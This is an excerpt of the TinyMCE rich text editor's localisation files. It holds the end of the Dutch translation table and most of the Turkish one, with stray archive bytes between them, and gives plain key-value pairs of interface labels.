"Insert link (if link plugin activated)": "Link invoegen (als link plug-in geactiveerd is)",
"Save (if save plugin activated)": "Opslaan (als opslaan plug-in ingeschakeld is)",
"Find (if searchreplace plugin activated)": "Zoeken (als zoeken\/vervangen plug-in ingeschakeld is)",
"Plugins installed ({0}):": "Plug-ins ge\u00efnstalleerd ({0}):",
"Premium plugins:": "Premium plug-ins:",
"Learn more...": "Leer meer...",
"You are using {0}": "Je gebruikt {0}",
"Plugins": "Plug-ins",
"Handy Shortcuts": "Handige snelkoppelingen",
"Horizontal line": "Horizontale lijn",
"Insert\/edit image": "Afbeelding invoegen\/bewerken",
"Alternative description": "Alternatieve beschrijving",
"Accessibility": "Toegankelijkheid",
"Image is decorative": "Afbeelding is decoratief",
"Source": "Bron",
"Dimensions": "Afmetingen",
"Constrain proportions": "Verhoudingen behouden",
"General": "Algemeen",
"Advanced": "Geavanceerd",
"Style": "Stijl",
"Vertical space": "Verticale ruimte",
"Horizontal space": "Horizontale ruimte",
"Border": "Rand",
"Insert image": "Afbeelding invoegen",
"Image...": "Afbeelding...",
"Image list": "Afbeeldingenlijst",
"Rotate counterclockwise": "Linksom draaien",
"Rotate clockwise": "Rechtsom draaien",
"Flip vertically": "Verticaal spiegelen",
"Flip horizontally": "Horizontaal spiegelen",
"Edit image": "Bewerk afbeelding",
"Image options": "Afbeelding opties",
"Zoom in": "Inzoomen",
"Zoom out": "Uitzoomen",
"Crop": "Uitsnijden",
"Resize": "Formaat aanpassen",
"Orientation": "Orientatie",
"Brightness": "Helderheid",
"Sharpen": "Scherpte",
"Contrast": "Contrast",
"Color levels": "Kleurniveau's",
"Gamma": "Gamma",
"Invert": "Omkeren",
"Apply": "Toepassen",
"Back": "Terug",
"Insert date\/time": "Voeg datum\/tijd in",
"Date\/time": "Datum\/tijd",
"Insert\/edit link": "Hyperlink invoegen\/bewerken",
"Text to display": "Linktekst",
"Url": "Url",
"Open link in...": "Link openen in...",
"Current window": "Huidige venster",
"None": "Geen",
"New window": "Nieuw venster",
"Open link": "Open koppeling",
"Remove link": "Link verwijderen",
"Anchors": "Anker",
"Link...": "Link...",
"Paste or type a link": "Plak of typ een link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "De ingegeven URL lijkt op een e-mailadres. Wil je er \"mailto:\" aan toevoegen?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "De ingegeven URL verwijst naar een extern adres. Wil je er \"http:\/\/\" aan toevoegen?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "De ingevoerde URL verwijst naar een extern adres. Wilt u er het vereiste voorvoegsel https:\/\/ aan toevoegen?",
"Link list": "Linklijst",
"Insert video": "Video invoegen",
"Insert\/edit video": "Video invoegen\/bewerken",
"Insert\/edit media": "Media invoegen\/bewerken",
"Alternative source": "Alternatieve bron",
"Alternative source URL": "Alternatief bron-URL",
"Media poster (Image URL)": "Mediaposter (afbeeldings-url)",
"Paste your embed code below:": "Plak u in te sluiten code hieronder:",
"Embed": "Insluiten",
"Media...": "Media...",
"Nonbreaking space": "Vaste spatie invoegen",
"Page break": "Pagina einde",
"Paste as text": "Plakken als tekst",
"Preview": "Voorbeeld",
"Print...": "Afdrukken... ",
"Save": "Opslaan",
"Find": "Zoeken",
"Replace with": "Vervangen door",
"Replace": "Vervangen",
"Replace all": "Alles vervangen",
"Previous": "Vorige",
"Next": "Volgende",
"Find and Replace": "Zoek en vervang",
"Find and replace...": "Zoeken en vervangen...",
"Could not find the specified string.": "Geen resultaten gevonden",
"Match case": "Identieke hoofd\/kleine letters",
"Find whole words only": "Alleen hele woorden zoeken",
"Find in selection": "Zoek in selectie",
"Spellcheck": "Spellingscontrole",
"Spellcheck Language": "Spellingscontrole taal",
"No misspellings found.": "Geen foute vertalingen",
"Ignore": "Negeren",
"Ignore all": "Alles negeren",
"Finish": "Einde",
"Add to Dictionary": "Toevoegen aan woordenlijst",
"Insert table": "Tabel invoegen",
"Table properties": "Tabel eigenschappen",
"Delete table": "Verwijder tabel",
"Cell": "Cel",
"Row": "Rij",
"Column": "Kolom",
"Cell properties": "Cel eigenschappen",
"Merge cells": "Cellen samenvoegen",
"Split cell": "Cel splitsen",
"Insert row before": "Voeg rij boven toe",
"Insert row after": "Voeg rij onder toe",
"Delete row": "Verwijder rij",
"Row properties": "Rij eigenschappen",
"Cut row": "Knip rij",
"Copy row": "Kopieer rij",
"Paste row before": "Plak rij boven",
"Paste row after": "Plak rij onder",
"Insert column before": "Voeg kolom in voor",
"Insert column after": "Voeg kolom in na",
"Delete column": "Verwijder kolom",
"Cols": "Kolommen",
"Rows": "Rijen",
"Width": "Breedte",
"Height": "Hoogte",
"Cell spacing": "Celruimte",
"Cell padding": "Ruimte binnen cel",
"Caption": "Onderschrift",
"Show caption": "Bijschrift weergeven",
"Left": "Links",
"Center": "Midden",
"Right": "Rechts",
"Cell type": "Celtype",
"Scope": "Bereik",
"Alignment": "Uitlijning",
"H Align": "Links uitlijnen",
"V Align": "Boven uitlijnen",
"Top": "Bovenaan",
"Middle": "Centreren",
"Bottom": "Onderaan",
"Header cell": "Kopcel",
"Row group": "Rijgroep",
"Column group": "Kolomgroep",
"Row type": "Rijtype",
"Header": "Koptekst",
"Body": "Body",
"Footer": "Voettekst",
"Border color": "Randkleur",
"Insert template...": "Sjabloon invoegen...",
"Templates": "Sjablonen",
"Template": "Sjabloon",
"Text color": "Tekstkleur",
"Background color": "Achtergrondkleur",
"Custom...": "Eigen...",
"Custom color": "Eigen kleur",
"No color": "Geen kleur",
"Remove color": "Kleur verwijderen",
"Table of Contents": "Inhoudsopgave",
"Show blocks": "Blokken tonen",
"Show invisible characters": "Onzichtbare karakters tonen",
"Word count": "Aantal woorden",
"Count": "Telling",
"Document": "Document",
"Selection": "Selectie",
"Words": "Woorden",
"Words: {0}": "Woorden: {0}",
"{0} words": "{0} woorden",
"File": "Bestand",
"Edit": "Bewerken",
"Insert": "Invoegen",
"View": "Beeld",
"Format": "Opmaak",
"Table": "Tabel",
"Tools": "Gereedschap",
"Powered by {0}": "Gemaakt door {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Druk ALT-F9 voor het menu. Druk ALT-F10 voor de toolbar. Druk ALT-0 voor help.",
"Image title": "Afbeeldingstitel",
"Border width": "Randbreedte",
"Border style": "Randstijl",
"Error": "Fout",
"Warn": "Waarschuwen",
"Valid": "Geldig",
"To open the popup, press Shift+Enter": "Druk op Shift+Enter om de pop-up te openen",
"Rich Text Area. Press ALT-0 for help.": " Gebied met opgemaakte tekst. Druk op ALT-0 voor hulp.",
"System Font": "Systeemlettertype",
"Failed to upload image: {0}": "Niet gelukt om afbeelding te uploaden: {0}",
"Failed to load plugin: {0} from url {1}": "Niet gelukt om plug-in te laden: {0} vanaf URL {1}",
"Failed to load plugin url: {0}": "Niet gelukt om URL plug-in te laden: {0}",
"Failed to initialize plugin: {0}": "Niet gelukt om plug-in te initialiseren: {0}",
"example": "voorbeeld",
"Search": "Zoeken",
"All": "Alle",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Citaten",
"Mathematical": "Wiskundig",
"Extended Latin": "Latijn uitgebreid ",
"Symbols": "Symbolen",
"Arrows": "Pijlen",
"User Defined": "Door gebruiker gedefinieerd ",
"dollar sign": "dollarteken",
"currency sign": "valutateken",
"euro-currency sign": "euroteken",
"colon sign": "colon-teken",
"cruzeiro sign": "cruzeiro-teken",
"french franc sign": "franse franc-teken",
"lira sign": "lire-teken",
"mill sign": "mill-teken",
"naira sign": "naira-teken",
"peseta sign": "peseta-teken",
"rupee sign": "roepie-teken",
"won sign": "won-teken",
"new sheqel sign": "nieuwe sheqel-teken",
"dong sign": "dong-teken",
"kip sign": "kip-teken",
"tugrik sign": "tugrik-teken",
"drachma sign": "drachme-teken",
"german penny symbol": "duitse pfennig-teken",
"peso sign": "peso-teken",
"guarani sign": "guarani-teken",
"austral sign": "austral-teken",
"hryvnia sign": "hryvnia-teken",
"cedi sign": "cedi-teken",
"livre tournois sign": "livre tournois-teken",
"spesmilo sign": "spesmilo-teken",
"tenge sign": "tenge-teken",
"indian rupee sign": "indiaase roepie-teken",
"turkish lira sign": "turkse lire-teken",
"nordic mark sign": "noorse mark-teken",
"manat sign": "manat-teken",
"ruble sign": "roebel-teken",
"yen character": "yen-teken",
"yuan character": "yuan-teken",
"yuan character, in hong kong and taiwan": "yuan-teken (Hong Kong en Taiwan)",
"yen\/yuan character variant one": "yen\/yuan variant 1-teken",
"Loading emoticons...": "Emoticons laden...",
"Could not load emoticons": "Kan emoticons niet laden",
"People": "Personen",
"Animals and Nature": "Dieren en natuur",
"Food and Drink": "Eten en drinken",
"Activity": "Activiteit",
"Travel and Places": "Reizen en plaatsen",
"Objects": "Objecten",
"Flags": "Vlaggen",
"Characters": "Tekens",
"Characters (no spaces)": "Tekens (geen spaties)",
"{0} characters": "{0} karakters",
"Error: Form submit field collision.": "Fout: Veldconflict bij versturen formulier.",
"Error: No form element found.": "Fout: Geen formulierelement gevonden.",
"Update": "Bijwerken",
"Color swatch": "Kleurenwaaier",
"Turquoise": "Turquoise",
"Green": "Groen",
"Blue": "Blauw",
"Purple": "Paars",
"Navy Blue": "Marineblauw",
"Dark Turquoise": "Donkerturquoise",
"Dark Green": "Donkergroen",
"Medium Blue": "Middelblauw",
"Medium Purple": "Middelpaars",
"Midnight Blue": "Middernachtblauw",
"Yellow": "Geel",
"Orange": "Oranje",
"Red": "Rood",
"Light Gray": "Lichtgrijs",
"Gray": "Grijs",
"Dark Yellow": "Donkergeel",
"Dark Orange": "Donkeroranje",
"Dark Red": "Donkerrood",
"Medium Gray": "Middelgrijs",
"Dark Gray": "Donkergrijs",
"Light Green": "Lichtgroen",
"Light Yellow": "Lichtgeel",
"Light Red": "Lichtrood",
"Light Purple": "Lichtpaars",
"Light Blue": "Lichtblauw",
"Dark Purple": "Donkerpaars",
"Dark Blue": "Donkerblauw",
"Black": "Zwart",
"White": "Wit",
"Switch to or from fullscreen mode": "Overschakelen naar of vanuit de volledig scherm-modus",
"Open help dialog": "Help-scherm openen",
"history": "geschiedenis",
"styles": "stijlen",
"formatting": "opmaak",
"alignment": "uitlijning",
"indentation": "inspringing",
"Font": "Lettertype",
"Size": "Formaat",
"More...": "Meer...",
"Select...": "Selecteer...",
"Preferences": "Voorkeuren",
"Yes": "Ja",
"No": "Nee",
"Keyboard Navigation": "Toetsenbord navigatie",
"Version": "Versie",
"Code view": "Code bekijken",
"Open popup menu for split buttons": "Open het pop-up menu voor gesplitste  knoppen",
"List Properties": "Lijsteigenschappen",
"List properties...": "Lijsteigenschappen...",
"Start list at number": "Begin lijst met nummer",
"Line height": "Lijnhoogte",
"comments": "opmerkingen",
"Format Painter": "Opmaak overnemen",
"Insert\/edit iframe": "Iframe toevoegen\/aanpassen",
"Capitalization": "Hoofdletter gebruik",
"lowercase": "kleine letters",
"UPPERCASE": "HOOFDLETTERS",
"Title Case": "Titel hoofdletter gebruik",
"permanent pen": "permanent pen",
"Permanent Pen Properties": "Permantente Pen eigenschappen",
"Permanent pen properties...": "Permantente pen eigenschappen...",
"case change": "hoofdlettergebruik veranderen",
"page embed": "pagina insluiten",
"Advanced sort...": "Geavanceerd sorteren...",
"Advanced Sort": "Geavanceerd sorteren",
"Sort table by column ascending": "Sorteer tabel per kolom in oplopende volgorde",
"Sort table by column descending": "Sorteer tabel per kolom in aflopende volgorde",
"Sort": "Sorteren",
"Order": "Volgorde",
"Sort by": "Sorteren op",
"Ascending": "Oplopend",
"Descending": "Aflopend",
"Column {0}": "Kolom {0}",
"Row {0}": "Rij {0}",
"Spellcheck...": "Spellingscontrole...",
"Misspelled word": "Fout gespeld woord",
"Suggestions": "Suggesties",
"Change": "Wijzigen",
"Finding word suggestions": "Woordsuggesties zoeken",
"Success": "Gelukt",
"Repair": "Herstellen",
"Issue {0} of {1}": "Probleem {0} van {1}",
"Images must be marked as decorative or have an alternative text description": "Afbeeldingen moeten als decoratief gemarkeerd zijn of moeten een alternatieve tekstbeschrijving hebben",
"Images must have an alternative text description. Decorative images are not allowed.": "Afbeeldingen moeten een alternatieve tekstbeschrijving hebben. Decoratieve afbeeldingen zijn niet toegelaten.",
"Or provide alternative text:": "Of geef een alternatieve tekst:",
"Make image decorative:": "Afbeelding decoratief maken:",
"ID attribute must be unique": "ID attribuut moet uniek zijn",
"Make ID unique": "ID uniek maken",
"Keep this ID and remove all others": "Dit ID behouden en alle andere verwijderen",
"Remove this ID": "Dit ID verwijderen",
"Remove all IDs": "Alle ID's verwijderen",
"Checklist": "Controlelijst",
"Anchor": "Anker",
"Special character": "Speciale karakters",
"Code sample": "Broncode voorbeeld",
"Color": "Kleur",
"Document properties": "Document eigenschappen",
"Image description": "Afbeelding omschrijving",
"Image": "Afbeelding",
"Insert link": "Hyperlink invoegen",
"Target": "Doel",
"Link": "Link",
"Poster": "Poster",
"Media": "Media",
"Print": "Print",
"Prev": "Vorige",
"Find and replace": "Zoek en vervang",
"Whole words": "Alleen hele woorden",
"Insert template": "Sjabloon invoegen"
});PK
h�\h}G��B�Bprogram/js/tinymce/langs/tr.jsnu�[���tinymce.addI18n('tr',{
"Redo": "Yinele",
"Undo": "Geri al",
"Cut": "Kes",
"Copy": "Kopyala",
"Paste": "Yap\u0131\u015ft\u0131r",
"Select all": "T\u00fcm\u00fcn\u00fc se\u00e7",
"New document": "Yeni dok\u00fcman",
"Ok": "Tamam",
"Cancel": "\u0130ptal",
"Visual aids": "G\u00f6rsel ara\u00e7lar",
"Bold": "Kal\u0131n",
"Italic": "\u0130talik",
"Underline": "Alt\u0131 \u00e7izili",
"Strikethrough": "\u00dcst\u00fc \u00e7izgili",
"Superscript": "\u00dcst simge",
"Subscript": "Alt simge",
"Clear formatting": "Bi\u00e7imi temizle",
"Align left": "Sola hizala",
"Align center": "Ortala",
"Align right": "Sa\u011fa hizala",
"Justify": "\u0130ki yana yasla",
"Bullet list": "S\u0131ras\u0131z liste",
"Numbered list": "S\u0131ral\u0131 liste",
"Decrease indent": "Girintiyi azalt",
"Increase indent": "Girintiyi art\u0131r",
"Close": "Kapat",
"Formats": "Bi\u00e7imler",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Taray\u0131c\u0131n\u0131z panoya direk eri\u015fimi desteklemiyor. L\u00fctfen Ctrl+X\/C\/V klavye k\u0131sayollar\u0131n\u0131 kullan\u0131n.",
"Headers": "Ba\u015fl\u0131klar",
"Header 1": "Ba\u015fl\u0131k 1",
"Header 2": "Ba\u015fl\u0131k 2",
"Header 3": "Ba\u015fl\u0131k 3",
"Header 4": "Ba\u015fl\u0131k 4",
"Header 5": "Ba\u015fl\u0131k 5",
"Header 6": "Ba\u015fl\u0131k 6",
"Headings": "Ba\u015fl\u0131klar",
"Heading 1": "Ba\u015fl\u0131k 1",
"Heading 2": "Ba\u015fl\u0131k 2",
"Heading 3": "Ba\u015fl\u0131k 3",
"Heading 4": "Ba\u015fl\u0131k 4",
"Heading 5": "Ba\u015fl\u0131k 5",
"Heading 6": "Ba\u015fl\u0131k 6",
"Preformatted": "\u00d6nceden bi\u00e7imlendirilmi\u015f",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Paragraf",
"Blockquote": "Blockquote",
"Inline": "Sat\u0131r i\u00e7i",
"Blocks": "Bloklar",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "D\u00fcz metin modunda yap\u0131\u015ft\u0131r. Bu se\u00e7ene\u011fi kapatana kadar i\u00e7erikler d\u00fcz metin olarak yap\u0131\u015ft\u0131r\u0131l\u0131r.",
"Fonts": "Yaz\u0131 Tipleri",
"Font Sizes": "Yaz\u0131tipi B\u00fcy\u00fckl\u00fc\u011f\u00fc",
"Class": "S\u0131n\u0131f",
"Browse for an image": "Bir resim aray\u0131n",
"OR": "VEYA",
"Drop an image here": "Buraya bir resim koyun",
"Upload": "Y\u00fckle",
"Block": "Blok",
"Align": "Hizala",
"Default": "Varsay\u0131lan",
"Circle": "Daire",
"Disc": "Disk",
"Square": "Kare",
"Lower Alpha": "K\u00fc\u00e7\u00fck Harf",
"Lower Greek": "K\u00fc\u00e7\u00fck Yunan Harfleri",
"Lower Roman": "K\u00fc\u00e7\u00fck Roman Harfleri ",
"Upper Alpha": "B\u00fcy\u00fck Harf",
"Upper Roman": "B\u00fcy\u00fck Roman Harfleri ",
"Anchor...": "\u00c7apa...",
"Name": "\u0130sim",
"Id": "Kimlik",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id bir harf ile ba\u015flamal\u0131d\u0131r ve harf, rakam, \u00e7izgi, nokta, iki nokta \u00fcst\u00fcste veya alt \u00e7izgi kullan\u0131labilir.",
"You have unsaved changes are you sure you want to navigate away?": "Kaydedilmemi\u015f de\u011fi\u015fiklikler var, sayfadan ayr\u0131lmak istedi\u011finize emin misiniz?",
"Restore last draft": "Son tasla\u011f\u0131 geri y\u00fckle",
"Special character...": "\u00d6zel karakter...",
"Source code": "Kaynak kodu",
"Insert\/Edit code sample": "\u00d6rnek kod ekle\/d\u00fczenle",
"Language": "Dil",
"Code sample...": "Kod \u00f6rne\u011fi...",
"Color Picker": "Renk Se\u00e7ici",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Soldan sa\u011fa",
"Right to left": "Sa\u011fdan sola",
"Emoticons...": "\u0130fadeler...",
"Metadata and Document Properties": "\u00d6nbilgi ve Belge \u00d6zellikleri",
"Title": "Ba\u015fl\u0131k",
"Keywords": "Anahtar kelimeler",
"Description": "A\u00e7\u0131klama",
"Robots": "Robotlar",
"Author": "Yazar",
"Encoding": "Kodlama",
"Fullscreen": "Tam ekran",
"Action": "Eylem",
"Shortcut": "K\u0131sayol",
"Help": "Yard\u0131m",
"Address": "Adres",
"Focus to menubar": "Men\u00fcye odaklan",
"Focus to toolbar": "Ara\u00e7 tak\u0131m\u0131na odaklan",
"Focus to element path": "\u00d6\u011fe yoluna odaklan",
"Focus to contextual toolbar": "Ba\u011flamsal ara\u00e7 tak\u0131m\u0131na odaklan",
"Insert link (if link plugin activated)": "Ba\u011flant\u0131 ekle (Ba\u011flant\u0131 eklentisi aktif ise)",
"Save (if save plugin activated)": "Kaydet (Kay\u0131t eklentisi aktif ise)",
"Find (if searchreplace plugin activated)": "Bul (Bul\/De\u011fi\u015ftir eklentisi aktif ise)",
"Plugins installed ({0}):": "Eklentiler y\u00fcklendi ({0}):",
"Premium plugins:": "Premium eklentiler:",
"Learn more...": "Detayl\u0131 bilgi...",
"You are using {0}": "\u015eu an {0} kullan\u0131yorsunuz",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "Yatay \u00e7izgi",
"Insert\/edit image": "Resim ekle\/d\u00fczenle",
"Image description": "Resim a\u00e7\u0131klamas\u0131",
"Source": "Kaynak",
"Dimensions": "Boyutlar",
"Constrain proportions": "Oranlar\u0131 koru",
"General": "Genel",
"Advanced": "Geli\u015fmi\u015f",
"Style": "Stil",
"Vertical space": "Dikey bo\u015fluk",
"Horizontal space": "Yatay bo\u015fluk",
"Border": "Kenarl\u0131k",
"Insert image": "Resim ekle",
"Image...": "Resim...",
"Image list": "G\u00f6rsel listesi",
"Rotate counterclockwise": "Saatin tersi y\u00f6n\u00fcnde d\u00f6nd\u00fcr",
"Rotate clockwise": "Saat y\u00f6n\u00fcnde d\u00f6nd\u00fcr",
"Flip vertically": "Dikine \u00e7evir",
"Flip horizontally": "Enine \u00e7evir",
"Edit image": "Resmi d\u00fczenle",
"Image options": "Resim ayarlar\u0131",
"Zoom in": "Yak\u0131nla\u015ft\u0131r",
"Zoom out": "Uzakla\u015ft\u0131r",
"Crop": "K\u0131rp",
"Resize": "Yeniden Boyutland\u0131r",
"Orientation": "Oryantasyon",
"Brightness": "Parlakl\u0131k",
"Sharpen": "Keskinle\u015ftir",
"Contrast": "Kontrast",
"Color levels": "Renk d\u00fczeyleri",
"Gamma": "Gama",
"Invert": "Ters \u00c7evir",
"Apply": "Uygula",
"Back": "Geri",
"Insert date\/time": "Tarih\/saat ekle",
"Date\/time": "Tarih\/saat",
"Insert\/Edit Link": "Ba\u011flant\u0131 Ekle\/D\u00fczenle",
"Insert\/edit link": "Ba\u011flant\u0131 ekle\/d\u00fczenle",
"Text to display": "Yaz\u0131y\u0131 g\u00f6r\u00fcnt\u00fcle",
"Url": "Url",
"Open link in...": "Ba\u011flant\u0131y\u0131 a\u00e7...",
"Current window": "Mevcut pencere",
"None": "Hi\u00e7biri",
"New window": "Yeni pencere",
"Remove link": "Ba\u011flant\u0131y\u0131 kald\u0131r",
"Anchors": "\u00c7apalar",
"Link...": "Ba\u011flant\u0131...",
"Paste or type a link": "Bir ba\u011flant\u0131 yaz\u0131n yada yap\u0131\u015ft\u0131r\u0131n",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Girdi\u011finiz URL bir e-posta adresi gibi g\u00f6r\u00fcn\u00fcyor. Gerekli olan mailto: \u00f6nekini eklemek ister misiniz?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Girdi\u011finiz URL bir d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor. Gerekli olan http:\/\/ \u00f6nekini eklemek ister misiniz?",
"Link list": "Ba\u011flant\u0131 listesi",
"Insert video": "Video ekle",
"Insert\/edit video": "Video ekle\/d\u00fczenle",
"Insert\/edit media": "Medya ekle\/d\u00fczenle",
"Alternative source": "Alternatif kaynak",
"Alternative source URL": "Alternatif kaynak URL",
"Media poster (Image URL)": "Medya posteri (Resim URL)",
"Paste your embed code below:": "Video g\u00f6mme kodunu a\u015fa\u011f\u0131ya yap\u0131\u015ft\u0131r\u0131n\u0131z:",
"Embed": "G\u00f6mme",
"Media...": "Medya...",
"Nonbreaking space": "B\u00f6l\u00fcnemez bo\u015fluk",
"Page break": "Sayfa sonu",
"Paste as text": "Metin olarak yap\u0131\u015ft\u0131r",
"Preview": "\u00d6nizleme",
"Print...": "Yazd\u0131r...",
"Save": "Kaydet",
"Find": "Bul",
"Replace with": "Bununla de\u011fi\u015ftir",
"Replace": "De\u011fi\u015ftir",
"Replace all": "T\u00fcm\u00fcn\u00fc de\u011fi\u015ftir",
"Previous": "Geri",
"Next": "Sonraki",
"Find and replace...": "Bul ve de\u011fi\u015ftir...",
"Could not find the specified string.": "Herhangi bir sonu\u00e7 bulunamad\u0131.",
"Match case": "B\u00fcy\u00fck\/k\u00fc\u00e7\u00fck harf duyarl\u0131",
"Find whole words only": "Sadece t\u00fcm kelimeyi ara",
"Spell check": "Yaz\u0131m denetimi",
"Ignore": "Yoksay",
"Ignore all": "T\u00fcm\u00fcn\u00fc yoksay",
"Finish": "Bitir",
"Add to Dictionary": "S\u00f6zl\u00fc\u011fe Ekle",
"Insert table": "Tablo ekle",
"Table properties": "Tablo \u00f6zellikleri",
"Delete table": "Tablo sil",
"Cell": "H\u00fccre",
"Row": "Sat\u0131r",
"Column": "S\u00fctun",
"Cell properties": "H\u00fccre \u00f6zellikleri",
"Merge cells": "H\u00fccreleri birle\u015ftir",
"Split cell": "H\u00fccre b\u00f6l",
"Insert row before": "\u00dcste sat\u0131r ekle",
"Insert row after": "Alta sat\u0131r ekle ",
"Delete row": "Sat\u0131r sil",
"Row properties": "Sat\u0131r \u00f6zellikleri",
"Cut row": "Sat\u0131r\u0131 kes",
"Copy row": "Sat\u0131r\u0131 kopyala",
"Paste row before": "\u00dcste sat\u0131r yap\u0131\u015ft\u0131r",
"Paste row after": "Alta sat\u0131r yap\u0131\u015ft\u0131r",
"Insert column before": "Sola s\u00fctun ekle",
"Insert column after": "Sa\u011fa s\u00fctun ekle",
"Delete column": "S\u00fctun sil",
"Cols": "S\u00fctunlar",
"Rows": "Sat\u0131rlar",
"Width": "Geni\u015flik",
"Height": "Y\u00fckseklik",
"Cell spacing": "H\u00fccre aral\u0131\u011f\u0131",
"Cell padding": "H\u00fccre dolgusu",
"Show caption": "Ba\u015fl\u0131\u011f\u0131 g\u00f6ster",
"Left": "Sol",
"Center": "Orta",
"Right": "Sa\u011f",
"Cell type": "H\u00fccre tipi",
"Scope": "Kapsam",
"Alignment": "Hizalama",
"H Align": "Yatay Hizalama",
"V Align": "Dikey Hizalama",
"Top": "\u00dcst",
"Middle": "Orta",
"Bottom": "Alt",
"Header cell": "Ba\u015fl\u0131k h\u00fccresi",
"Row group": "Sat\u0131r grubu",
"Column group": "S\u00fctun grubu",
"Row type": "Sat\u0131r tipi",
"Header": "Ba\u015fl\u0131k",
"Body": "G\u00f6vde",
"Footer": "Alt",
"Border color": "Kenarl\u0131k rengi",
"Insert template...": "\u015eablon ekle...",
"Templates": "\u015eablonlar",
"Template": "Taslak",
"Text color": "Yaz\u0131 rengi",
"Background color": "Arka plan rengi",
"Custom...": "\u00d6zel...",
"Custom color": "\u00d6zel renk",
"No color": "Renk yok",
"Remove color": "Rengi kald\u0131r",
"Table of Contents": "\u0130\u00e7erik tablosu",
"Show blocks": "Bloklar\u0131 g\u00f6ster",
"Show invisible characters": "G\u00f6r\u00fcnmez karakterleri g\u00f6ster",
"Word count": "Kelime say\u0131s\u0131",
"Count": "Say\u0131m",
"Document": "Belge",
"Selection": "Se\u00e7im",
"Words": "S\u00f6zc\u00fck",
"Words: {0}": "Kelime: {0}",
"{0} words": "{0} words",
"File": "Dosya",
"Edit": "D\u00fczenle",
"Insert": "Ekle",
"View": "G\u00f6r\u00fcn\u00fcm",
"Format": "Bi\u00e7im",
"Table": "Tablo",
"Tools": "Ara\u00e7lar",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Zengin Metin Alan\u0131. Men\u00fc i\u00e7in ALT-F9 tu\u015funa bas\u0131n\u0131z. Ara\u00e7 \u00e7ubu\u011fu i\u00e7in ALT-F10 tu\u015funa bas\u0131n\u0131z. Yard\u0131m i\u00e7in ALT-0 tu\u015funa bas\u0131n\u0131z.",
"Image title": "Resim ba\u015fl\u0131\u011f\u0131",
"Border width": "Kenar geni\u015fli\u011fi",
"Border style": "Kenar sitili",
"Error": "Hata",
"Warn": "Uyar\u0131",
"Valid": "Ge\u00e7erli",
"To open the popup, press Shift+Enter": "Popup'\u0131 a\u00e7mak i\u00e7in Shift+Enter'a bas\u0131n",
"Rich Text Area. Press ALT-0 for help.": "Zengin Metin Alan\u0131. Yard\u0131m i\u00e7in Alt-0'a bas\u0131n.",
"System Font": "Sistem Yaz\u0131 Tipi",
"Failed to upload image: {0}": "Resim y\u00fcklenemedi: {0}",
"Failed to load plugin: {0} from url {1}": "Eklenti y\u00fcklenemedi: {1} url\u2019sinden {0}",
"Failed to load plugin url: {0}": "Url eklentisi y\u00fcklenemedi: {0}",
"Failed to initialize plugin: {0}": "Eklenti ba\u015flat\u0131lamad\u0131: {0}",
"example": "\u00f6rnek",
"Search": "Ara",
"All": "T\u00fcm\u00fc",
"Currency": "Para birimi",
"Text": "Metin",
"Quotations": "Al\u0131nt\u0131",
"Mathematical": "Matematik",
"Extended Latin": "Uzat\u0131lm\u0131\u015f Latin",
"Symbols": "Semboller",
"Arrows": "Oklar",
"User Defined": "Kullan\u0131c\u0131 Tan\u0131ml\u0131",
"dollar sign": "dolar i\u015fareti",
"currency sign": "para birimi i\u015fareti",
"euro-currency sign": "euro para birimi i\u015fareti",
"colon sign": "colon i\u015fareti",
"cruzeiro sign": "cruzeiro i\u015fareti",
"french franc sign": "frans\u0131z frang\u0131 i\u015fareti",
"lira sign": "lira i\u015fareti",
"mill sign": "mill i\u015fareti",
"naira sign": "naira i\u015fareti",
"peseta sign": "peseta i\u015fareti",
"rupee sign": "rupi i\u015fareti",
"won sign": "won i\u015fareti",
"new sheqel sign": "yeni \u015fekel i\u015fareti",
"dong sign": "dong i\u015fareti",
"kip sign": "kip i\u015fareti",
"tugrik sign": "tugrik i\u015fareti",
"drachma sign": "drahma i\u015fareti",
"german penny symbol": "alman kuru\u015f sembol\u00fc",
"peso sign": "peso i\u015fareti",
"guarani sign": "guarani i\u015fareti",
"austral sign": "austral i\u015fareti",
"hryvnia sign": "hrivniya i\u015fareti",
"cedi sign": "cedi i\u015fareti",
"livre tournois sign": "livre tournois i\u015fareti",
"spesmilo sign": "spesmilo i\u015fareti",
"tenge sign": "tenge i\u015fareti",
"indian rupee sign": "hindistan rupisi i\u015fareti",
"turkish lira sign": "t\u00fcrk liras\u0131 i\u015fareti",
"nordic mark sign": "nordic i\u015fareti",
"manat sign": "manat i\u015fareti",
"ruble sign": "ruble i\u015fareti",
"yen character": "yen karakteri",
"yuan character": "yuan karakteri",
"yuan character, in hong kong and taiwan": "yuan karakteri, hong kong ve tayvan'da kullan\u0131lan",
"yen\/yuan character variant one": "yen\/yuan karakter de\u011fi\u015fkeni",
"Loading emoticons...": "\u0130fadeler y\u00fckleniyor...",
"Could not load emoticons": "\u0130fadeler y\u00fcklenemedi",
"People": "\u0130nsan",
"Animals and Nature": "Hayvanlar ve Do\u011fa",
"Food and Drink": "Yiyecek ve \u0130\u00e7ecek",
"Activity": "Etkinlik",
"Travel and Places": "Gezi ve Yerler",
"Objects": "Nesneler",
"Flags": "Bayraklar",
"Characters": "Karakter",
"Characters (no spaces)": "Karakter (bo\u015fluksuz)",
"{0} characters": "{0} karakter",
"Error: Form submit field collision.": "Hata: Form g\u00f6nderme alan\u0131 \u00e7at\u0131\u015fmas\u0131.",
"Error: No form element found.": "Hata: Form eleman\u0131 bulunamad\u0131.",
"Update": "G\u00fcncelle\u015ftir",
